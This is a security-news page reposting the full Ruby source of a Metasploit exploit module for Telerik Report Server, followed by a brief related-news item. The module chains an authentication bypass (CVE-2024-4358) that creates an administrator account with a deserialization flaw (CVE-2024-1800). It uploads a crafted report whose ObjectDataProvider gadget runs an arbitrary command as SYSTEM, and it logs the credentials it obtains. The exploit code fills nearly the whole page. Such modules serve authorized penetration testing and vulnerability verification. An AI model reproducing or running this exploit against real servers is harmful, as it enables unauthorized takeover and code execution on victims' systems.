Security
Headlines
HeadlinesLatestCVEs

Headline

Telerik Report Server Authentication Bypass / Remote Code Execution

This Metasploit module chains an authentication bypass vulnerability with a deserialization vulnerability to obtain remote code execution against Telerik Report Server versions 10.0.24.130 and below. The authentication bypass flaw allows an unauthenticated user to create a new user with administrative privileges. The USERNAME datastore option can be used to authenticate with an existing account to prevent the creation of a new one. The deserialization flaw works by uploading a specially crafted report that when loaded will execute an OS command as NT AUTHORITY\SYSTEM. The module will automatically delete the created report but not the account because users are unable to delete themselves.

Packet Storm
#vulnerability#web#windows#js#git#rce#auth#ssl
# This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-frameworkrequire 'rex/zip'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::CheckModule  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Telerik Report Server Auth Bypass and Deserialization RCE',        'Description' => %q{          This module chains an authentication bypass vulnerability (CVE-2024-4358) with a deserialization vulnerability          (CVE-2024-1800) to obtain remote code execution against Telerik Report Server version 10.0.24.130 and prior.          The authentication bypass flaw allows an unauthenticated user to create a new user with administrative privileges.          The USERNAME datastore option can be used to authenticate with an existing account to prevent the creation of a          new one. The deserialization flaw works by uploading a specially crafted report that when loaded will execute an          OS command as NT AUTHORITY\SYSTEM. The module will automatically delete the created report but not the account          because users are unable to delete themselves.        },        'Author' => [          'SinSinology', # CVE-2024-4358 discovery, original PoC and vulnerability write-up          'Soroush Dalili', # CVE-2024-1800 exploitation assistance          'Unknown', # CVE-2024-1800 discovery          'Spencer McIntyre' # MSF module        ],        'License' => MSF_LICENSE,        'References' => [          [ 'CVE', '2024-1800' ], # .NET deserialization vulnerability # patched in > 10.0.24.130          [ 'CVE', '2024-4358' ], # Authentication bypass # patched in > 10.0.24.305          [ 'URL', 'https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/' ]        ],        'Platform' => 'win',        'Arch' => ARCH_CMD,        'Targets' => [          [ 'Automatic', {} ],        ],        'DefaultOptions' => {          'SSL' => false,          'RPORT' => 83        },        'DefaultTarget' => 0,        'DisclosureDate' => '2024-06-04',        'Notes' => {          'Stability' => [ CRASH_SAFE, ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],          'Reliability' => [ REPEATABLE_SESSION, ],          'RelatedModules' => [ check_module ]        }      )    )    register_options([      OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),      OptString.new('USERNAME', [false, 'Username for the new account', '']),      OptString.new('PASSWORD', [false, 'Password for the new account', ''])    ])    deregister_options('CheckModule')  end  def check_module    'auxiliary/scanner/http/telerik_report_server_auth_bypass'  end  def check_options    { 'ACTION' => 'CHECK' }  end  def check    check_code = super    if check_code == CheckCode::Appears      # The auth bypass affects later versions than the RCE, so just filter those out      version = check_code.details[:version]      if version > Rex::Version.new('10.0.24.130')        return CheckCode::Safe("Telerik Report Server #{version} is not affected by CVE-2024-1800.", details: check_code.details)      end    end    check_code  end  def username    @username ||= datastore['USERNAME'].blank? ? Faker::Internet.username : datastore['USERNAME']  end  def password    @password ||= (create_account? && datastore['PASSWORD'].blank?) ? Rex::Text.rand_text_alphanumeric(16) : datastore['PASSWORD']  end  def create_account?    # unless the user specifies a username, use CVE-2024-4358 to create an account for them.    datastore['USERNAME'].blank?  end  def create_account!    # create a new account by exploiting CVE-2024-4358    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'Startup/Register'),      'vars_post' => {        'Username' => username,        'Password' => password,        'ConfirmPassword' => password,        'Email' => Faker::Internet.email(name: username),        'FirstName' => Faker::Name.first_name,        'LastName' => Faker::Name.last_name      }    )    fail_with(Failure::Unreachable, 'No response received') if res.nil?    fail_with(Failure::UnexpectedReply, 'Failed to create the new account') unless res.code == 302 && res.headers['location']&.end_with?('/Report/Index')  end  def login    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'Token'),      'vars_post' => {        'grant_type' => 'password',        'username' => username,        'password' => password      }    )    fail_with(Failure::Unreachable, 'No response received') if res.nil?    fail_with(Failure::UnexpectedReply, 'Failed to login to the target (invalid response)') unless res.headers['content-type']&.start_with?('application/json')    fail_with(Failure::NoAccess, 'Failed to login to the target (invalid credentials)') unless res.code == 200    access_token = res.get_json_document['access_token']    fail_with(Failure::UnexpectedReply, 'Failed to login to the target (missing access token)') unless access_token.present?    print_good("Successfully authenticated as #{username}")    report_creds(username, password)    access_token  end  def build_trdp    zip = Rex::Zip::Archive.new    zip.add_file(      '[Content_Types].xml',      Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).to_xml(indent: 0, save_with: 0)        <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">          <Default Extension="xml" ContentType="application/zip" />        </Types>      XML    )    zip.add_file(      'definition.xml',      Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)        <Report Width="6.5in" Name="oooo" xmlns="http://schemas.telerik.com/reporting/2021/1.0">          <Items>            <ResourceDictionary                xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"                xmlns:System="clr-namespace:System;assembly:mscorlib"                xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"                xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"              >              <ODP:ObjectDataProvider MethodName="Start" >                <ObjectInstance>                  <Diag:Process>                    <StartInfo>                      <Diag:ProcessStartInfo FileName="cmd" Arguments=#{"/c #{payload.encoded}".encode(xml: :attr)}></Diag:ProcessStartInfo>                    </StartInfo>                  </Diag:Process>                </ObjectInstance>              </ODP:ObjectDataProvider>            </ResourceDictionary>          </Items>        </Report>      XML    )    zip.pack  end  def send_request_api(resource, method: nil, data: nil)    if method.nil?      method = data.nil? ? 'GET' : 'POST'    end    res = send_request_cgi(      'method' => method,      'uri' => normalize_uri(target_uri.path, 'api', resource),      'headers' => {        'Authorization' => "Bearer #{@access_token}"      },      'ctype' => 'application/json',      'data' => data.nil? ? nil : data.to_json    )    fail_with(Failure::Unreachable, 'No API response received') if res.nil?    fail_with(Failure::UnexpectedReply, "The API responded with status #{res.code}") unless res.code == 200    return nil if res.body.blank?    fail_with(Failure::UnexpectedReply, 'API response content is not JSON data') unless res.headers['content-type']&.start_with?('application/json')    res.get_json_document  end  def exploit    if create_account?      print_status('Creating a new administrator account using CVE-2024-4358')      create_account!      print_good("Created account: #{username}:#{password} (Note: This account will not be deleted by the module)")    end    @access_token = login    categories = send_request_api('reportserver/categories')    report_name = rand_text_alphanumeric(10)    category = categories.sample    fail_with(Failure::Unknown, 'A random category could not be selected') unless category    print_status("Using category: #{category['Name']}")    send_request_api(      'reportserver/report',      data: {        'reportName' => report_name,        'categoryName' => category['Name'],        'description' => nil,        'reportContent' => Rex::Text.encode_base64(build_trdp),        'extension' => '.trdp'      }    )    vprint_status("Created report: #{report_name}")    res_json = send_request_api('reportserver/reports')    @report = res_json.find { |report| report['Name'] == report_name && report['CategoryId'] == category['Id'] }    res_json = send_request_api(      'reports/clients',      data: {        'timeStamp' => nil      }    )    client_id = res_json['clientId']    fail_with(Failure::UnexpectedReply, 'Failed to obtain the client ID') unless client_id.present?    begin      send_request_api(        "reports/clients/#{client_id}/parameters",        data: {          'report' => "NAME/#{category['Name']}/#{report_name}/",          'parameterValues' => {}        }      )    rescue Msf::Exploit::Failed => e      raise e unless fail_reason == Failure::UnexpectedReply      print_good('The server responded with an error indicating that the payload was executed')      self.fail_reason = Failure::None    end  end  def cleanup    return unless @report && @access_token    print_status("Deleting report '#{@report['Name']}' (ID: #{@report['Id']})")    send_request_api("reportserver/reports/#{@report['Id']}", method: 'DELETE')  end  def report_creds(user, pass)    credential_data = {      module_fullname: fullname,      username: user,      private_data: pass,      private_type: :password,      workspace_id: myworkspace_id,      last_attempted_at: Time.now,      status: Metasploit::Model::Login::Status::SUCCESSFUL    }.merge(service_details)    create_credential_and_login(credential_data)  endend

Related news

Critical Flaw in Telerik Report Server Poses Remote Code Execution Risk

Progress Software is urging users to update their Telerik Report Server instances following the discovery of a critical security flaw that could result in remote code execution. The vulnerability, tracked as CVE-2024-6327 (CVSS score: 9.9), impacts Report Server version 2024 Q2 (10.1.24.514) and earlier. "In Progress Telerik Report Server versions prior to 2024 Q2 (10.1.24.709), a remote code

Packet Storm: Latest News

Zeek 6.0.8